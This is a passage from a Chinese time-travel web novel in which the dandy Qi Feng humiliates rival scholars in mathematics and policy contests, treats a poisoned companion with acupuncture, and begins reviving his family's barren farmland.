“管他什么算法,能解题就是好算法。”齐枫从袖中掏出个自制炭笔,“您看这个更妙……”
他在纸上画出直角坐标系,将问题转化为两条直线交点。学子们伸长脖子张望,像群呆头鹅。
“妙啊!”周文翰突然拍腿大叫,“将数理形于图中,化繁为简!齐公子,这法子你从何处学来?”
齐枫眨眨眼:“梦里有个白胡子老头教的。”
“荒唐!”赵教**终于忍不住了,“山长,此子用的必是妖术!那些鬼画符……”
“闭嘴!”周文翰罕见地动了怒,“传令,明日全体学子到校场集合,齐公子要公开讲授此法!”
当天傍晚,齐枫“大闹学堂”的事迹就传遍了整个青田县。
当他在偏院找到楚清秋时,后者正在煎药。
“怎么样,少爷我今天威风吧?”齐枫得意地凑到药罐前嗅了嗅。
楚清秋头也不抬:“故意装疯卖傻引起山长注意,再展现算学才能,你到底想干什么?”
“聪明!”齐枫打了个响指,“我打听过了,周文翰虽然落魄,但在朝中还有门生故旧。通过他,才能接触到更高层的人物。”
楚清秋的手突然一抖,药罐差点打翻。
她的脸色变得煞白,额头渗出细密的汗珠。
“毒发了?”齐枫神色一凛,立刻扶住她。
楚清秋咬紧牙关,脖颈上青筋暴起:“没,没事……”
“放屁!”齐枫一把抱起她,冲进内室,“小荷,拿我的银针来!”
第十三章 愿赌服输?
当楚清秋被平放在榻上时,她的半边身子已经痉挛得不成样子。
齐枫迅速解开她的衣领,露出锁骨下方一片骇人的红疹。
“比昨天又扩散了……”齐枫眉头紧锁,取出银针在烛火上消毒,“忍着点。”
银针刺入穴位的瞬间,楚清秋发出一声闷哼。
随着九根银针依次落下,她的痉挛渐渐平复,但脸色依然苍白如纸。
“为什么帮我?”楚清秋突然问。
齐枫专注地调整银针角度:“五百两银子呢,总不能打水漂。”
“你知道我问的不是这个。”
齐枫停下动作,直视她的眼睛:“那你先告诉我,一个身中剧毒,满身刀伤的女子,为什么会出现在青田县?”
楚清秋一时哽住,在齐枫这双幽深的眸子里,她感觉自己犹如浑身不着片缕。
她正想要用什么理由搪塞过去,却见齐枫又低下了头调整银针。
“世间哪有那么多为什么?单纯凭一个爷乐意。”
楚清秋目光复杂地看着眼前男子清秀的侧脸。
这纨绔,她是越发看不懂了。
这是在书院待的第一天,齐枫也就没有回家了,睡的倒也还算安稳。
翌日清晨,书山书院校场。
齐枫打着哈欠走进校场时,差点被眼前的阵仗惊得一个趔趄。
只见校场上密密麻麻坐满了学子,最前排赫然是顶着两个黑眼圈的周文翰,老头手里还捧着个笔记本,活像个求知若渴的私塾童子。
“齐哥!齐哥!”
一个熟悉的声音从人群中传来。
齐枫循声望去,只见吴胖子正挤在人群中朝他拼命挥手,那张圆脸上写满了生无可恋。
“你怎么来了?”齐枫挤过去,压低声音问道。
吴胖子哭丧着脸:“我爹听说你都来上学了,连夜把我从被窝里拽出来,说什么连齐家那败家子都知道读书了,你再不读书老子打断你的腿!”
齐枫嘴角抽搐,这特么也能躺枪?
“肃静!”
周文翰敲了敲戒尺,校场上顿时鸦雀无声。
老头清了清嗓子:“今日特邀齐枫公子讲授新式算法,诸位务必认真听讲。”
齐枫走上讲台,看着台下乌泱泱的人头,突然玩心大起。
他拿起自制粉笔,在黑板上画了个大大的坐标系。
“诸位请看,这横轴叫x轴,纵轴叫y轴……”
他刚开了个头,校场大门突然被人一脚踹开。
“慢着!”
张韬带着一帮人气势汹汹地闯了进来,身后还跟着几个身着青川书院服饰的学子。
他指着齐枫的鼻子骂道:“就凭你这废物也敢在这里误人子弟?”
校场顿时骚动起来。
周文翰皱眉起身:“张公子,今日是书院讲学之日,你若……”
“周山长。”张韬阴阳怪气地打断道,“我是来拆穿这个骗子的!他那些鬼画符根本就是糊弄人的把戏!”
齐枫不慌不忙地擦了擦手上的粉笔灰:“张二少,大清早的吃**了?要不要我帮你泻泻火?”
“你!”张韬气得脸色发青,突然从袖中掏出一卷竹简,“敢不敢比一比?这是青川书院的算学题,你要能解出来,那才是本事!”
齐枫瞥了眼竹简,上面密密麻麻写满了题目。
他随手翻了翻,突然噗嗤一笑:“就这?青川书院就这水平?”
“少废话!”张韬狞笑道,“要是解不出来,你就跪下来给我磕三个响头,承认你是个废物!”
校场上的气氛顿时剑拔**张。
周文翰刚要开口劝阻,齐枫却摆了摆手:“这样吧,咱们玩点有意思的。”
他从讲台上拿起一根粉笔,在黑板中央画了条竖线:“左边写我的解法,右边写你们的,每道题谁先解出来,就在那边画个圈。”
“到最后,哪边的圈多,哪边就赢。”齐枫眯起眼睛,“输的人不仅要当众学狗叫,还要穿着女装在县城最热闹的街上跑三圈,如何?”
“嘶!”
校场上响起一片倒吸冷气的声音。
这赌注也太狠了!
张韬脸色变了变,但看到身后青川书院的学子,又硬气起来:“好!就这么定了!”
周文翰无奈地摇摇头,却也没有阻止。
对于齐枫这个纨绔,他也是有所耳闻,只是没想到齐枫却让他大
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吃一惊。
他倒是想看看,这个突然开窍的纨绔子弟到底有多大本事。
比试正式开始。
第一题是道复杂的粮仓周转问题。
齐枫扫了一眼,直接开始在左边黑板上列方程式。
那边青川书院的学子还在拨弄算盘,他已经写出了答案。
“第一题,齐枫胜。”周文翰宣布道,在左边画了个圈。
张韬脸色有些难看:“侥幸而已!继续!”
第二题是道涉及天文历法的计算。
这次青川书院的人明显加快了速度,但齐枫却停下了笔。
“怎么?解不出来了?”张韬得意地笑道。
齐枫没理他,反而转向周文翰:“山长,能给我拿个西瓜来吗?”
“啊?”周文翰一脸懵逼。
“要解这题,得先切个西瓜。”齐枫一本正经地说。
校场上顿时哄堂大笑。张韬更是笑得前仰后合:“哈哈哈,解不出题就开始耍无赖了?”
然而当书院仆役真的抱来西瓜后,齐枫用刀将西瓜切成特定形状,竟然直观地演示出了天体运行的规律!
“原来如此!”周文翰恍然大悟,“妙啊!”
第二题,齐枫再胜。
接下来的比试完全成了一边倒的**。
无论题目多难,齐枫总能以匪夷所思的方法迅速解决。
而青川书院的学子们算盘都快拨冒烟了,还是跟不上他的节奏。
当左边黑板上的圈达到七个时,张韬终于慌了。
他偷偷拽了拽身后学子的衣袖:“怎么回事?你们不是青川书院最厉害的算学高手吗?”
那学子哭丧着脸:“张公子,不是我们不努力,是那家伙根本就不是人!他用的那些符号算法,我们见都没见过!”
“第十题,齐枫胜。”
随着周文翰的宣布,比试落下帷幕。
左边十个圈,右边零个圈,堪称惨绝人寰的碾压。
齐枫拍了拍手上的粉笔灰,笑眯眯地看着面如土色的张韬:“张二少,愿赌服输?”
“我……我……”张韬结结巴巴地说不出话来。
这要是真穿着女装游街,他张家二少的脸往哪搁?
第十四章 落荒而逃
张韬身后的青川书院学子们低着头不敢吱声,现场一片寂静。
突然,人群中传来一声嗤笑,不知是哪个胆大的学子没忍住。
紧接着,压抑的窃笑声如同潮水般蔓延开来。
“张公子,”齐枫故意拉长语调,折扇轻点张韬胸口,“若不想履约,大可直说,我齐枫也不是不通情达理之人。”
他突然话锋一转:“只需你当着众人面,承认自己是缩头乌龟,再喊三声齐枫爷爷天下第一,这事便罢了!”
张韬猛地抬头,脸色由白转红,又从红涨成猪肝色。
他突然一把推开身旁学子,嘶吼道:“齐枫!你别欺人太甚!这比试……这比试定有蹊跷!”
话音未落,他突然抓起地上的竹简,狠狠摔在地上,转身便要夺门而逃。
“站住!”
一声厉喝炸响,周文翰不知何时已拦在校场门口。
老头平日里和蔼的面容此刻布满寒霜,手中戒尺重重敲在门框上:“张公子,书山书院虽非官府,但也容不得人撒野!愿赌服输,乃君子之道!”
张韬僵在原地,豆大的汗珠顺着脖颈滑落。
他余光瞥见围观学子们嘲讽的目光,再看向满脸从容的齐枫,心中恨意翻涌,却又不敢与周文翰对视。
僵持间,人群外突然传来一阵喧闹,几个家丁模样的人挤了进来,为首的高喊:“二少爷!老爷请您速速回府!”
齐枫挑眉看向张韬,故意惋惜道:“看来张二少是要失约了?啧啧,这传出去……”
“我,我改日再与你算账!”张韬咬着牙挤出一句,在众人的哄笑声中,灰溜溜地跟着家丁离去。
校场上爆发出震天的欢呼声,吴胖子更是激动得跳起来,肥肉乱颤:“齐哥!干得漂亮!下次我请你去吃霸王餐!”
齐枫:“……”
周文翰望着张韬远去的背影,若有所思地抚了抚胡须。
他转身对齐枫微微颔首:“齐公子不仅才学过人,更懂得以智服人,明日,可否再请公子为学子们讲解些治国之策?”
齐枫拱手行礼,眼中闪过一丝不易察觉的狡黠:“山长抬爱,学生自当竭尽全力。不过在此之前……”
他转头看向还在发愣的青川书院学子,“诸位,不如也留下听上一听?毕竟这鬼画符,说不定哪天就能派上用场。”
夕阳西下时,楚清秋倚在偏院窗边,远远望着校场逐渐散去的人群。
齐枫抱着一堆竹简哼着小调走来,见她面色仍有些苍白,收敛了笑意:“药喝了吗?”
“喝了。”楚清秋避开他的目光,盯着地上的影子,“多谢。”
“跟我客气什么?”齐枫大大咧咧地坐下,随手扯过她一缕发丝把玩,“等你病好了,可得给我当丫鬟,洗衣做饭,端茶倒水,一样都不能少。”
楚清秋刚要反驳,却见他突然凑近,温热的呼吸扫过耳畔:“还有下次毒发,别硬撑。”
不等她回应,人已跳开,“走!回青田县,带你去吃点好吃的,补补身子!”
夜色渐浓,青田县的街头巷尾都在议论着书山书院的这场比试。
而齐家大宅中,齐震天捏着下人送来的消息,望着满墙家训,突然一拍大腿,泪流满面:“祖宗开眼,祖宗开眼啊!”
张韬灰头土脸地回到张府,刚踏入正厅,就见父亲**然阴沉着脸端坐在太师椅上,手中的茶盏重重地砸在桌上,茶水溅了一地。
“孽子!你还有脸回来?”**然的怒吼震得房梁上的灰尘簌簌掉落,“在书院丢人现眼也就罢了,居然临阵脱逃,把我张家的脸面都丢尽了!”
“呃,我要是真穿女装走三圈,那才是真的丢张家的脸吧?”
当然,这话,张韬只敢在心里想想,万万是不敢说的。
他扑通一声跪在地上,额头紧贴着冰凉的青砖:“父亲,那齐枫定是使了妖术,那些古怪的算法根本不是常人能懂的!”
“住口!”**然抄起一旁的竹杖,狠狠抽在张韬背上,“输了就是输了,找什么借口!如今全城都在笑话我们张家,你让我如何自处?”
张韬咬着牙,任由竹杖
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一下下落在身上,心中的恨意却如野草般疯狂生长。
他暗暗发誓,一定要让齐枫付出代价!
与此同时,在齐府的书房里,齐枫正对着一盏油灯,仔细研究着从书院带回来的典籍。
小荷端着一碗莲子羹轻轻走了进来:“少爷,夜深了,该歇息了。”
齐枫头也不抬:“放着吧,我再看会儿。”
最近在书院的经历让他意识到,想要在这个世界站稳脚跟,光靠现代知识还不够,必须深入了解这个世界的文化和规则。
他可是想要当一辈子纨绔的,可不想哪天齐家真就没了。
楚清秋站在门口,看着专注读书的齐枫,眼中闪过一丝复杂的神色。
她对齐枫的态度不知不觉间发生了变化。
这个看似纨绔的公子哥,总能在关键时刻展现出与常人不同的气质。
“在看什么?”楚清秋走进书房。
齐枫合上书,伸了个懒腰:“研究一下怎么当官,你也知道,周家老爷子在朝中有人,我得抓住这个机会,今天这老头问我知不知道怎么治国,也就是一种对我的观察。”
他顿了顿,“对了,你的毒,你可想到什么线索?是什么人给你下的毒?”
楚清秋的身子微微一僵:“没有。”
她别过脸去,不想让齐枫看到自己眼中的慌乱。
有些秘密,她不能说,也不敢说。
齐枫看出她的抗拒,也不再追问:“罢了,你先回去休息吧,明天还得去书院呢。”
第二天一早,齐枫像往常一样来到书院。
刚进校门,就发现气氛有些不对劲。
往日里喧闹的书院此刻一片寂静,学子们三三两两地聚在一起,窃窃私语。
“齐公子!”一个熟悉的声音传来。
齐枫回头,只见周文翰神色匆匆地走来。
“山长,出什么事了?”齐枫察觉到周文翰的焦急。
周文翰叹了口气:“昨日你与张韬的比试,传到了青川书院山长耳中。他认为你是在羞辱青川书院,今日要来讨个说法。”
第十五章 我来考考你
齐枫挑了挑眉:“来得正好,我倒要看看,他们还能玩出什么花样!”
没过多久,青川书院的山长李墨阳带着一众学子气势汹汹地赶来。
李墨阳年约六旬,一袭黑色长袍,眼神犀利如鹰。
“周文翰,你教出来的好弟子!”李墨阳一见面就冷声质问,“公然贬低我青川书院,这是何意?”
周文翰不卑不亢地行礼:“李山长误会了。齐枫不过是就事论事,以他的才学,讲解算学并无恶意。”
“才学?”李墨阳冷笑一声,“那些鬼画符般的东西,也配称为才学?今日,我便要与你书山书院来一场文斗,让众人看看,究竟谁才是治学正统!”
齐枫上前一步,朗声道:“李山长既然来了,不如就由学生来领教一二。文斗的题目,就由您来出吧。”
李墨阳打量着齐枫,眼中满是轻蔑:“好!我倒要看看,你这狂妄的小子有几分本事,第一题,论治国之道,应以法治为先还是德治为本?”
齐枫略一思索,开口道:“法治与德治,缺一不可,法治如梁柱,撑起国家之框架,约束民众行为;德治如砖瓦,填充梁柱之间,教化人心。二者相辅相成,方能长治久安,就像……”
他瞥见窗外的集市,“集市若无律法规范交易,便会混乱不堪,但若商人们无道德良知,只知坑蒙拐骗,集市也无法繁荣。”
李墨阳皱了皱眉头,显然对齐枫的回答有些意外,但他很快道:“说得倒是轻巧,第二题,若边疆战乱,国库空虚,应如何筹集军费?”
“开源节流。”齐枫不假思索地回答,“开源,可鼓励商人出海贸易,收取关税,开办官营作坊,增加收入,节流,裁剪冗余官员,精简军队编制,避免不必要的开支,同时,可向富户借贷,许以一定利息,战后偿还。”
随着一道道题目抛出,齐枫对答如流,从治国理政到民生经济,从军事战略到文化教育,他的见解新颖独到,让在场众人听得如痴如醉。
李墨阳的脸色却越来越难看,额头上青筋暴起。
“够了!”李墨阳突然打断,“巧言令色而已!最后一题,诗经有云关关雎鸠,在河之洲,你如何解读?”
齐枫微微一笑:“这一句,表面写雎鸠鸟在河洲上鸣叫求偶,实则以物起兴,表达男子对女子的爱慕之情,但从更深层次来看,它体现了人对美好爱情与和谐生活的向往,不过,时代在变,如今解读经典,也不应拘泥于传统。”
这些问题,对于齐枫而言没有丝毫难度。
毕竟他的脑子里拥有的知识可是后世积累了几千年的。
何况他医武双绝,不同于其他普通人,虽说对于这些题目并不如他所擅长的医武二道,可到了这个境界之后,记忆超群,所记忆的内容几乎是深度刻在脑子里的。
李墨阳哑口无言,脸色一阵红一阵白。
他万万没想到,一个被传为纨绔的子弟,竟有如此才学。
“李山长,”周文翰开口道,“齐枫虽年轻,但才学出众,见解不凡。文斗之事,还请您不要放在心上。”
李墨阳冷哼一声:“今日暂且罢了。”
说完,他就想带着青川书院的人离去。
齐枫却突然拱手道:“李山长既然要考校学生,不如让学生也讨教一二?”
正要拂袖而去的李墨阳顿住脚步,黑色长袍在风中微微摆动:“哦?你还要考校老夫?”
“不敢。”齐枫嘴角微扬,“只是有几个问题,想请教山长。”
李墨阳眯起眼睛:“狂妄!老夫钻研学问数十载,岂会被你难倒?问吧!”
齐枫从袖中取出一张纸:“第一个问题,学生近日读《九章算术》,遇到一道‘物不知数’的难题……”
他展开纸张,上面工整地写着:“今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?”
李墨阳接过题目,眉头立即皱了起来。
这看似简单的题目,实则暗藏玄机。
他
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急忙命人取来算筹,在案几上摆弄起来。
校场上鸦雀无声,只听得算筹碰撞的清脆声响。
一刻钟过去,李墨阳的额头渗出细密汗珠,案几上的算筹已经摆得乱七八糟。
“这……”李墨阳的胡须微微颤抖,“此题……”
“山长可需要提示?”齐枫彬彬有礼地问。
“不必!”李墨阳怒拍桌案,“这等刁钻题目,不过是旁门左道!”
齐枫不慌不忙:“那换一题。今有垣厚五尺,两鼠对穿。大鼠日一尺,小鼠亦日一尺。大鼠日自倍,小鼠日自半。问几日相逢?”
李墨阳脸色骤变。
这道“双鼠穿墙”题比方才更加复杂,他急忙重新摆弄算筹,手指却开始发抖。
校场上的学子们窃窃私语,青川书院的人更是面面相觑。
他们从未见过山长如此狼狈。
又一刻钟过去,李墨阳的算筹撒了一地。
他猛地抬头:“你,你这是从哪里找来的刁钻题目?”
“都是《九章算术》中的例题。”齐枫一脸无辜,“山长若觉得太难,学生可以换个简单的。”
“住口!”李墨阳面红耳赤,“老夫今日身体不适,改日再……”
“最后一题很简单。”齐枫打断道,“请问山长,鸡兔同笼,上有三十五头,下有九十四足,问鸡兔各几何?”
这个看似简单的题目成了压垮骆驼的最后一根稻草。
李墨阳踉跄后退两步,被身后的学子扶住才没有跌倒。
“我们走!”他甩开搀扶的手,声音嘶哑,“齐枫,你给老夫等着!”
望着李墨阳狼狈离去的背影,校场上爆发出阵阵惊叹。
周文翰快步走到齐枫身边,低声道:“这些题目……”
“都是基础算学。”齐枫眨眨眼,“只不过需要换个思路罢了。”
周文翰目光闪烁,意味深长地道:“齐公子果然深藏不露。不过李墨阳与知府大人是姻亲,你今日让他当众出丑,恐怕……”
第十六章 猪就一张脸
“李墨阳与知府大人是姻亲……”
周文翰这句话刚说一半,就见齐枫双腿一软,整个人像被抽了骨头似的瘫在太师椅上,脸色瞬间变得煞白。
“周,周山长……”齐枫的声音都在发抖,“您怎么不早说啊!”
他这副模样把周文翰吓了一跳。
方才在众人面前侃侃而谈,气宇轩昂的齐公子,此刻活像只被踩了尾巴的猫,哪还有半点方才的从容。
“齐公子这是……”周文翰疑惑地捋着胡须。
“猪就一张脸啊!”齐枫哭丧着脸,双手拍着大腿,“我要是早知道那老头有这层关系,打死我也不敢那么刁难他啊!”
周文翰先是一愣,随即忍不住笑出声来。
他原以为齐枫是胸有成竹才敢那般行事,没想到竟是初生牛犊不怕虎。
“齐公子莫慌。”周文翰拍了拍齐枫的肩膀,眼中闪过一丝慈爱,“老夫虽已不在朝堂,但也不是浪得虚名。若那李墨阳真敢仗势欺人,老夫也不会袖手旁观。”
齐枫闻言,立刻换上一副感动涕零的表情,双手握住周文翰的手,“山长高义!学生……学生真是……”
他话未说完,眼眶竟真的红了起来,看得周文翰又是好笑又是心疼。
“少爷。”
一道清冷的声音从门外传来。
楚清秋端着茶盘走进书房,目光在齐枫红着的眼眶上停留片刻,嘴角微不可察地抽了抽。
“青禾啊……”齐枫有气无力地唤了一声,活像只霜打的茄子。
楚清秋将茶盏放在桌上,轻声道:“少爷方才在讲堂上的风采,奴婢都看见了。”
她这话说得平静,但齐枫分明从她眼中读出一丝揶揄。
这女人,分明是在笑话他!
“咳咳。”齐枫尴尬地咳嗽两声,端起茶盏掩饰自己的窘态,“那个……山长,学生突然想起家中还有事,就先告辞了。”
周文翰含笑点头:“去吧,明日记得准时来上课。”
齐枫如蒙大赦,连忙起身告辞。
刚走出书房,就听见身后传来周文翰爽朗的笑声。
“这老狐狸!”齐枫嘀咕着,快步往书院大门走去。
楚清秋跟在他身后,忽然轻声道:“少爷方才装得真像。”
齐枫脚步一顿,回头瞪她:“谁装了?我是真怕!那可是知府大人的老丈人!”
“是吗?”楚清秋微微歪头,露出半边完好的脸颊,“那为何少爷的手在发抖时,拇指和食指还在不自觉地摩挲?”
齐枫心头一跳。
这女人观察得也太仔细了!
“你懂什么。”他故作高深地摆摆手,“这叫战略示弱。”
楚清秋不置可否地“嗯”了一声,眼中却闪过一丝笑意。
两人刚走到书院大门,就听见一个熟悉的声音从远处传来。
“齐哥!齐哥!”
只见吴胖子气喘吁吁地跑来,圆滚滚的肚皮一颤一颤的,活像只滚动的皮球。
“慢点跑,别把地砸出坑来。”齐枫打趣道。
吴胖子顾不上回嘴,一把抓住齐枫的袖子,兴奋道:“齐哥,你听说了吗?张韬那孙子昨天可丢大人了!”
“哦?”齐枫挑眉,“说来听听。”
“现在整个青田县都在传,说张二少爷说话不算话,赌输了不认账!”吴胖子眉飞色舞,“连带着张家都跟着丢脸,听说张老爷子气得差点动家法!”
齐枫微微一笑,没有接话。
吴胖子继续道:“还有更绝的!赵野那小子不是号称赌神吗?结果被你当众打脸,现在赌坊的生意都差了不少!”
“是吗?”齐枫故作惊讶,“那可真是不好意思。”
楚清秋在一旁听着,忍不住插话:“吴少爷,您这消息倒是灵通。”
“那可不!”吴胖子得意地拍拍胸脯,“我吴胖子在青田县混了这么多年,别的不敢说,消息绝对是最灵通的!”
他说着,突然压低声音:“对了齐哥,那五百亩良田的事,你打算怎么处理?”
齐枫摸了摸下巴:“今天回去跟我老子商量一下。”
“要我说,干脆种上庄稼得了。”吴胖子建议道,“反正
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离河道远,种些耐旱的作物,多少能赚点。”
齐枫笑而不答,目光却若有所思地望向远方。
楚清秋敏锐地注意到他的表情变化,轻声道:“少爷可是另有打算?”
“聪明。”齐枫赞赏地看了她一眼,“那片地确实离河道远,但你们知道它靠近什么吗?”
吴胖子茫然摇头。
“官道。”齐枫微微一笑,“而且是通往府城的必经之路。”
楚清秋眼中闪过一丝讶异,似乎没想到齐枫会注意到这个细节。
“那又怎样?”吴胖子不解,“又不能把地搬到河边去。”
齐枫神秘地笑了笑:“到时候你就知道了。”
三人正说着,忽然听见书院内传来一阵骚动。
回头望去,只见一群学子围在一起,似乎在议论什么。
“出什么事了?”吴胖子好奇地伸长脖子。
一个路过的学子兴奋道:“听说青川书院派人来下战书了!说是要和我们书院比试诗词歌赋!”
“什么?”吴胖子瞪大眼睛,“这不是明摆着欺负人吗?谁不知道青川书院最擅长的就是诗词?”
齐枫闻言,眉头微皱。
他隐约觉得,这事恐怕没那么简单。
楚清秋轻声道:“少爷,该回去了。”
齐枫点点头,对吴胖子道:“你先去打听打听具体情况,晚些时候来齐府找我。”
“好嘞!”吴胖子爽快答应,转身就往人群里挤。
回府的路上,楚清秋忽然问道:“少爷似乎对那片地很上心?”
齐枫看了她一眼,笑道:“怎么,你也感兴趣?”
“奴婢只是好奇。”楚清秋平静道,“少爷方才说那片地靠近官道,莫非是想……”
她话未说完,齐枫突然伸手做了个噤声的手势。
“有些事,知道的人越少越好。”他意味深长地说。
楚清秋会意,不再多问。
但她的目光却不由自主地在齐枫侧脸上停留了片刻。
这个看似玩世不恭的纨绔子弟,似乎比她想象的要复杂得多。
第十七章 贫瘠之地
晨光熹微,齐枫刚踏进齐府大门,就被老管家王伯一把拽住了衣袖。
“少爷!老爷在书房等您多时了!”王伯额头上沁着细密的汗珠,声音压得极低,“脸色难看得紧,您可小心着点。”
齐枫挑了挑眉,顺手整了整被扯皱的衣袖:“王伯,您这手劲儿见长啊。”
“哎哟我的小祖宗,这都什么时候了还贫嘴!”王伯急得直跺脚,“老爷为那五百亩地的事,一宿没合眼!”
齐枫闻言,嘴角反而扬起一抹笑意,大步流星朝书房走去。
刚到门口,就听见里面传来“啪”的一声脆响,像是茶盏摔碎的声音。
“混账东西!这哪是地?分明就是个无底洞!”
齐枫推门而入,正看见父亲齐震天背着手在书房里来回踱步,地上散落着瓷片和茶水。
阳光透过窗棂,将老爷子花白的鬓角照得发亮。
“爹,大清早的,谁惹您生这么大气?”齐枫笑嘻嘻地行了个礼。
齐震天猛地转身,胡子都气得翘了起来:“你还有脸问!看看你干的好事!”
他抓起桌上厚厚一叠账本摔在齐枫面前,“去年一亩地只收了一石八斗!连佃户的口粮都不够!”
齐枫弯腰捡起账本,随手翻了几页。
墨迹勾勒出的数字确实触目惊心,这产量连寻常良田的三分之一都不到。
“张家这是给咱们挖了个坑啊。”齐枫轻声道。
“现在才知道?晚了!”齐震天重重坐在太师椅上,胸口剧烈起伏,“光是今年的税赋就要赔进去两千两!”
齐枫合上账本,眼中闪过一丝精光:“爹,要不……把这地交给我打理三个月?”
“你?”齐震天狐疑地上下打量儿子,“你什么时候懂农事了?”
“山人自有妙计。”齐枫神秘地笑了笑,竖起三根手指,“三个月内,我保证让这块地活过来。若是做不到,我自愿闭门读书一年,绝无怨言。”
这个赌注显然打动了齐震天。
老爷子捋着胡子思索良久,终于缓缓点头:“好,就给你三个月。但有一条!”
他竖起一根手指,“不许动用府里太多银钱。”
“成交!”齐枫咧嘴一笑,转身就要走。
“等等,”齐震天叫住他,“你总得告诉为父,打算怎么做?”
齐枫回头,阳光在他脸上投下斑驳的光影:“明天您就知道了。”
……
翌日寅时三刻,天边才泛起鱼肚白,齐府后门已经停好了一辆青布马车。
楚清秋抱着件厚斗篷站在车旁,呵出的白气在晨雾中氤氲。
“少爷,清晨露重。”她将斗篷递给刚出门的齐枫。
齐枫接过斗篷,却转手披在了楚清秋肩上:“你身子还没好利索,别着凉了。”
楚清秋一怔,还未及反应,齐枫已经跳上了马车。
她低头看着肩上犹带体温的斗篷,唇角微不可察地抿了抿。
马车颠簸了近一个时辰,窗外的景色从城郭渐渐变成荒野。
齐枫掀开车帘时,被眼前的景象震得半晌说不出话来。
龟裂的土地像老人脸上的皱纹般纵横交错,几株蔫头耷脑的麦子可怜巴巴地杵在地里,叶子边缘已经泛黄。
远处零星散布着几间茅草屋,烟囱里飘出的炊烟都显得有气无力。
“这……”齐枫咽了口唾沫,“比账本上写的还要糟糕啊。”
楚清秋顺着他的目光望去,轻声道:“土质沙化严重,缺乏水源,确实不是良田。”
齐枫刚要说话,一阵嘈杂声由远及近。
十几个衣衫褴褛的佃农围了过来,为首的是个满脸皱纹的老汉,浑浊的眼睛里满是警惕。
“这位就是新东家?”老汉上下打量着齐枫,“看着细皮嫩肉的,懂种地么?”
齐枫跳下马车,拍了拍并不存在的灰尘:“老丈贵姓?”
“免贵姓陈,给张家种了三十年地了。”老汉语气生硬,“东家换了一茬又一茬,地却越来越差。老汉就想问问,今年的租子怎么算?”
齐枫环视一圈,发现所有佃农都紧张地盯着他。
他忽然咧嘴一笑:“今年的租子,减半。”
“什么?”陈老汉怀疑自己听错了。
“我说,今年的租子减半。”齐枫提高声音,“不仅如此,若是收成比去年好,多出来的部分,大家平分!”
人群顿时炸开了锅。
“骗人的吧?”
“哪有这么好的事?”
“定是先骗我们卖力干活,秋后算账!”
齐枫早有准备,从袖中掏出一张盖着红印的契约:“白纸
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黑字,官府作保。愿意的,现在就可以按手印。”
佃农们面面相觑,最终还是陈老汉第一个站了出来:“老汉活了大半辈子,还没见过这么大方的主儿。就信你一回!”
有了带头的,其他人也陆续按了手印。
齐枫满意地收起契约,开始在地里转悠起来。
“少爷,”楚清秋跟在他身后,小声问道,“您真懂农事?”
齐枫神秘地摇摇头:“不懂。”
“那您……”
“但我懂人心。”齐枫弯腰抓起一把土,在指间搓了搓,“这地确实贫瘠,但更贫瘠的是人心。张家这些年只知道层层盘剥,谁还有心思好好种地?”
正午时分,齐枫召集所有佃农在地头的大槐树下议事。
他让人搬来张破桌子,铺开一张简陋的地形图。
“从今天起,咱们实行三三制。”齐枫用木棍指着图纸,“第一,将五百亩地分成三块,轮流休耕养地,第二,在低洼处挖三个蓄水池,雨季储水,第三……”
他忽然转向一个满脸麻子的年轻人:“你叫什么名字?”
年轻人一愣:“回,回东家,小的叫李二狗。”
“李二狗,听说你爹做过货郎?”
见对方点头,齐枫笑道,“好,以后你负责带人去城里收夜香,每担给你两文钱跑腿费。”
李二狗瞪大眼睛:“收,收夜香?”
“对!”齐枫敲了敲桌子,“人畜粪便混上草木灰,就是最好的肥料。咱们先养地,再养庄稼!”
夕阳西斜时,齐枫已经宣布了七八条新规矩。
佃农们将信将疑,但看在减租的份上,还是答应试一试。
“好了,今天就到这里。”齐枫拍拍手上的泥土,“明日开始,咱们……”
话音未落,一阵急促的马蹄声由远及近。一个齐府家丁慌慌张张地跳下马,脸色惨白如纸:
“少爷!不好了!老爷被官府抓走了!”
齐枫手中的木棍“啪嗒”掉在地上。
“你说什么?”
家丁喘着粗气道:“就在半个时辰前,衙役突然闯进府里,说老爷涉嫌私贩官盐,直接就给锁走了!夫人让您速速回府!
齐枫只觉得一股寒意从脚底直窜上天灵盖。
私贩官盐?这可是杀头的大罪!
第十八章 暗流涌动
马蹄声如雷,齐枫几乎是撞开齐府大门的。
他三步并作两步冲进前厅,却猛地刹住了脚步。
父亲齐震天好端端地坐在太师椅上,正慢条斯理地品着茶。
“爹?!”齐枫的声音都变了调,“您不是被……”
“被衙役抓走了?”齐震天放下茶盏,脸上带着几分疲惫的笑意,“一场误会罢了。”
齐枫胸口剧烈起伏,额头上还挂着赶路时沁出的汗珠。
他死死盯着父亲的脸,想从那些熟悉的皱纹里找出蛛丝马迹。
“什么误会能让衙役直接闯进府里拿人?”齐枫皱眉问道,“私贩官盐可是杀头的罪名!”
齐震天摆摆手:“今早盐课司查账,发现少了三十引盐。偏巧前几日咱家商队从扬州运了一批货回来,有人举报说车里藏了私盐。”
老爷子摇摇头,“方才已经查清楚了,是盐课司的书吏记错了账。”
齐枫喉结滚动了一下。
这个解释太过完美,完美得不像真的。
“是谁举报的?”他轻声问。
“这倒没说。”齐震天揉了揉太阳穴,“枫儿,别多想了。盐课司的刘大人与为父有些交情,不会为难咱们的。”
齐枫垂下眼睛,遮住眸中闪过的冷光。
他突然想起张韬那日在赌坊说他们齐家蹦跶不了几天了。
“爹,”他突然抬头,“最近张家可有什么动静?”
齐震天一怔:“怎么突然问这个?”
“就是随口一问。”齐枫故作轻松地笑了笑。
“说起来……”齐震天皱眉思索,“前日听说张老爷子去了趟府城,据说是拜访知府大人。不过商贾结交官员也是常事,不必大惊小怪。”
齐枫心头一跳。
知府大人?那不正是李墨阳的姻亲?
“枫儿,”齐震天忽然话锋一转,欣慰地打量着儿子,“为父发现你最近变了不少。”
“哦?”齐枫勉强压下心中疑虑,“哪儿变了?”
“懂得为家里分忧了。”齐震天笑道,“不仅主动要打理那五百亩地,今日听说为父出事,还能第一时间赶回来。”
老爷子眼中闪着欣慰的光,“我儿长大了。”
齐枫心头一酸。
他忽然意识到,自己这个“纨绔子弟”的人设,在真正的危机面前是多么不堪一击。
若今日不是误会,而是张家设下的死局,他现在连保护家人都做不到。
“爹,”齐枫声音有些发涩,“我想好好读书,参加科考。”
齐震天手中的茶盏“当啷”一声落在桌上:“你说什么?”
“我想考功名。”齐枫一字一顿地说,“就算当个县令,也能护得家人周全。”
齐震天眼眶突然红了。他起身重重拍了拍儿子的肩膀,声音哽咽:“好!好!为父明日就去请最好的先生!”
“不用。”齐枫摇头,“我就在书山学院,跟周山长学。”
